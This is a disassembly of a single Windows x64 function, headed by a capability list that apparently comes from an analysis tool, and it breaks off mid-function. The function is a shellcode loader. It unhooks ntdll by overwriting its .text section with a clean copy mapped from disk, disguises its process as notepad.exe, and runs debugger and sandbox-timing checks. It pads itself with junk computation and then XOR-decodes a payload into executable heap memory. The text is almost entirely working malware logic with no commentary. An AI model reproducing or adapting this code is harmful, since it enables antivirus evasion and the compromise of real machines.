Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x938
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8a0], xmm6
mov dword [rbp + 0x8e0], ecx
mov qword [rbp + 0x8e8], rdx
call fcn.140002df0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x818], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
jne 0x140001534
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
je 0x14000192f
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x810]
mov r10, qword [rbp + 0x898]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x894], 0
mov dword [rbp + 0x890], 1
mov dword [rbp + 0x88c], 0
mov dword [rbp + 0x80c], 0x235
jmp 0x1400015cf
mov edx, dword [rbp + 0x894]
mov eax, dword [rbp + 0x890]
add eax, edx
mov dword [rbp + 0x7c8], eax
add dword [rbp + 0x88c], 1
mov eax, dword [rbp + 0x890]
mov dword [rbp + 0x894], eax
mov eax, dword [rbp + 0x7c8]
mov dword [rbp + 0x890], eax
mov eax, dword [rbp + 0x88c]
cmp eax, dword [rbp + 0x80c]
jl 0x14000159c
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x800], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7f8], rax
mov rax, qword [rbp + 0x7f8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7f0], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7e8], rax
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x7e0], rax
mov rax, qword [rbp + 0x7e0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x800]
add rax, rdx
mov qword [rbp + 0x7d8], rax
mov word [rbp + 0x88a], 0
jmp 0x140001917
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7d8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x88a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001906
mov dword [rbp + 0x5f4], 0
pxor xmm0, xmm0
movss dword [rbp + 0x880], xmm0
mov dword [rbp + 0x884], 0
jmp 0x1400017ce
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x884]
movsd xmm0, qword [0x140006658]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x140006660]
movd xmm0, eax
call fcn.140003de0
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x884]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006658]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x880]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x880], xmm0
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x37f
jle 0x140001755
movss xmm1, dword [rbp + 0x880]
movss xmm0, dword [0x140006664]
mulss xmm0, xmm1
movss dword [rbp + 0x880], xmm0
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7e8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov qword [rbp + 0x870], 0
mov dword [rbp + 0x7cc], 0xe3
mov dword [rbp + 0x87c], 1
jmp 0x1400018b3
mov eax, dword [rbp + 0x87c]
cdqe
add qword [rbp + 0x870], rax
add dword [rbp + 0x87c], 1
mov eax, dword [rbp + 0x87c]
cmp eax, dword [rbp + 0x7cc]
jle 0x14000189d
mov edx, dword [rbp + 0x5f4]
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7d0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x800]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x88a]
add eax, 1
mov word [rbp + 0x88a], ax
mov rax, qword [rbp + 0x7d8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x88a], ax
jb 0x1400016d9
mov dword [rbp + 0x7c4], 0
mov dword [rbp + 0x864], 0
mov ecx, 0x8f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b8], rax
mov dword [rbp + 0x86c], 0
jmp 0x140001a2b
mov dword [rbp + 0x868], 0
jmp 0x140001a17
call sub.msvcrt.dll_rand
mov edx, eax
mov eax, dword [rbp + 0x86c]
movsxd rcx, eax
mov rax, rcx
shl rax, 2
add rax, rcx
add rax, rax
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x7b8]
lea r8, [rcx + rax]
movsxd rax, edx
imul rax, rax, 0x51eb851f
shr rax, 0x20
sar eax, 5
mov ecx, edx
sar ecx, 0x1f
sub eax, ecx
imul ecx, eax, 0x64
mov eax, edx
sub eax, ecx
mov edx, dword [rbp + 0x868]
movsxd rdx, edx
mov dword [r8 + rdx*4], eax
mov eax, dword [rbp + 0x86c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x7b8]
add rdx, rax
mov eax, dword [rbp + 0x868]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x140001a10
add dword [rbp + 0x864], 1
add dword [rbp + 0x868], 1
cmp dword [rbp + 0x868], 0xa
jle 0x140001972
add dword [rbp + 0x86c], 1
cmp dword [rbp + 0x86c], 0x33
jle 0x140001963
cmp dword [rbp + 0x864], 0x11e
jne 0x140001a4e
mov dword [rbp + 0x7c4], 1
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov ecx, 0x18a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov ecx, 0x18a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7a8], rax
mov dword [rbp + 0x860], 0
jmp 0x140001b18
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x314
jle 0x140001a8e
mov dword [rbp + 0x860], 0
jmp 0x140001b86
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x860]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7a8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003ee0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x860], 1
cmp dword [rbp + 0x860], 0x314
jle 0x140001b34
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x820]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7a0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x794], 1
mov ecx, 0x884
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov qword [rbp + 0x858], 2
jmp 0x140001c66
mov rax, qword [rbp + 0x858]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x858], 1
cmp qword [rbp + 0x858], 0x220
jbe 0x140001c3f
mov qword [rbp + 0x858], 2
jmp 0x140001cfd
mov rax, qword [rbp + 0x858]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001cf5
mov rax, qword [rbp + 0x858]
mov qword [rbp + 0x850], rax
jmp 0x140001cde
mov rax, qword [rbp + 0x858]
imul rax, qword [rbp + 0x850]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x788]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x850], 1
mov rax, qword [rbp + 0x858]
imul rax, qword [rbp + 0x850]
cmp rax, 0x220
jbe 0x140001caf
add qword [rbp + 0x858], 1
cmp qword [rbp + 0x858], 0x220
jbe 0x140001c80
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x798]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov ecx, 0x1a28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov ecx, 0x1a28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov ecx, 0x1a28
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov dword [rbp + 0x84c], 0
jmp 0x140001e69
mov dword [rbp + 0x848], 0
jmp 0x140001e55
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x84c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x780]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x84c]
movsxd rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
lea rcx, [rax*8]
add rax, rcx
shl rax, 2
mov rcx, rax
mov rax, qword [rbp + 0x778]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x1a
jle 0x140001d80
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x3d
jle 0x140001d71
mov dword [rbp + 0x84c], 0
jmp 0x140001f64
mov dword [rbp + 0x848], 0
jmp 0x140001f50
mov eax, dword [rbp + 0x84c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x780]
add rdx, rax
mov eax, dword [rbp + 0x848]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x84c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x848]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x84c]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
lea rdx, [rax*8]
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0x770]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x848]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x1a
jle 0x140001e94
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x3d
jle 0x140001e85
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r8, qword [rbp + 0x768]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f8]
cmp eax, 1
je 0x140002d20
mov dword [rbp + 0x764], 0x395
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x750], rax
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x74c], eax
mov eax, dword [rbp + 0x764]
mov r8, qword [rbp + 0x758]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x750]
call rax
mov dword [rbp + 0x748], eax
mov eax, dword [rbp + 0x748]
sub eax, dword [rbp + 0x74c]
cmp eax, 0x363
jbe 0x140002d20
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140002116
mov rax, qword [rbp + 0x740]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
mov ecx, 0
call rax
mov dword [rbp + 0x844], eax
cmp dword [rbp + 0x844], 0xffffffff
je 0x140002d20
mov qword [rbp + 0x730], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x728]
mov r9d, 0x3000
mov r8d, 0x298
mov edx, 0
call rax
mov qword [rbp + 0x730], rax
cmp qword [rbp + 0x730], 0
je 0x140002d20
mov qword [rbp + 0x720], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x20e4a80
mov ecx, 0
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140002d20
mov rax, qword [rbp + 0x720]
mov edx, 0x20e4a80
mov rcx, rax
call fcn.140004d80
mov rax, qword [rbp + 0x720]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ecx, 0x700
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x700
jne 0x140002d20
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x5f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5f0]
mov r8, qword [rbp + 0x710]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5f0]
cmp eax, 1
je 0x140002d20
mov dword [rbp + 0x70c], 0x3bb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x70c]
mov r8, qword [rbp + 0x700]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x389
jbe 0x140002d20
mov dword [rbp + 0x6ec], 0x2cb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d4], eax
mov eax, dword [rbp + 0x6ec]
mov r8, qword [rbp + 0x6e0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6d8]
call rax
mov dword [rbp + 0x6d0], eax
mov eax, dword [rbp + 0x6d0]
sub eax, dword [rbp + 0x6d4]
cmp eax, 0x299
jbe 0x140002d20
mov qword [rbp + 0x6c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x37d2280
mov ecx, 0
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
je 0x140002d20
mov rax, qword [rbp + 0x6c8]
mov edx, 0x37d2280
mov rcx, rax
call fcn.140004d80
mov rax, qword [rbp + 0x6c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, [rbp + 0xe0]
lea rdx, [0x140006148]
mov ecx, 0xa2
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x818]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 0
mov edx, 0x50f
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0x50f
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x820]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
lea rdx, [rbp + 0xe0]
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0x50f
mov rcx, rax
call r9
mov dword [rbp + 0x840], 0
mov dword [rbp + 0x83c], 0
mov dword [rbp + 0x838], 0
movabs rax, 0xdeaa24e6b0a3e3f
movabs rdx, 0xe32c3e3dd10d7c1d
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xde48f02fa904a9ec
movabs rdx, 0xa707ea0144c9b67b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x6a8b657d42ec9b4f
movabs rdx, 0xe6f44a6db0a15b56
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x3eb6b59d479d2c31
movabs rdx, 0x16ab66a69279b21b
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xe87a6216ab66a692
movabs rdx, 0x958b8c0ba45320
mov qword [rbp + 0x4b], rax
mov qword [rbp + 0x53], rdx
movabs rax, 0x26210a2b6c206005
movabs rdx, 0x55fdd7e8545ad7ea
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x95bdd71f78244341
movabs rdx, 0x85e3c905b60f23e6
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x2f41cedc675f5956
movabs rdx, 0x9d162bd8a4664afa
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x337e6e2f3ad50b3c
movabs rdx, 0xd2f1fbd88bf5e385
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5436228262f87088
movabs rdx, 0x2dc448b7562735cb
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x1b2962c2b275651f
movabs rdx, 0xbd92cf3ef8ef9e92
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xb890ed2d8ee49b09
movabs rdx, 0x50aa469a8fb5e07d
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x2be86d8d50aa469a
movabs rdx, 0x688d963cb16df4
mov qword [rbp + 0xcc], rax
mov qword [rbp + 0xd4], rdx
jmp 0x1400027fe
cmp dword [rbp + 0x83c], 0x7a
jne 0x1400027c8
mov eax, dword [rbp + 0x840]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x83c]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x840]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x83c], 0
jmp 0x1400027f7
mov eax, dword [rbp + 0x840]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x83c]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x840]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x83c], 1
add dword [rbp + 0x840], 1
mov eax, dword [rbp + 0x840]
cmp eax, 0x49
jbe 0x14000278b
mov dword [rbp + 0x840], 0
jmp 0x140002b76
cmp dword [rbp + 0x838], 0x49
jne 0x14000286e
mov eax, dword [rbp + 0x840]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x838]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x840]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x838], 0
jmp 0x140002994
mov ecx, 0x6a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov dword [rbp + 0x834], 0
jmp 0x1400028d9
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006668]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
movsd xmm1, qword [0x140006658]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0xd4
jle 0x14000288b
mov dword [rbp + 0x834], 0
jmp 0x140002943
mov eax, dword [rbp + 0x834]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x668]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x834]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x668]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0xd4
jle 0x1400028f1
mov eax, dword [rbp + 0x840]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x838]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x840]
movsxd rdx, eax
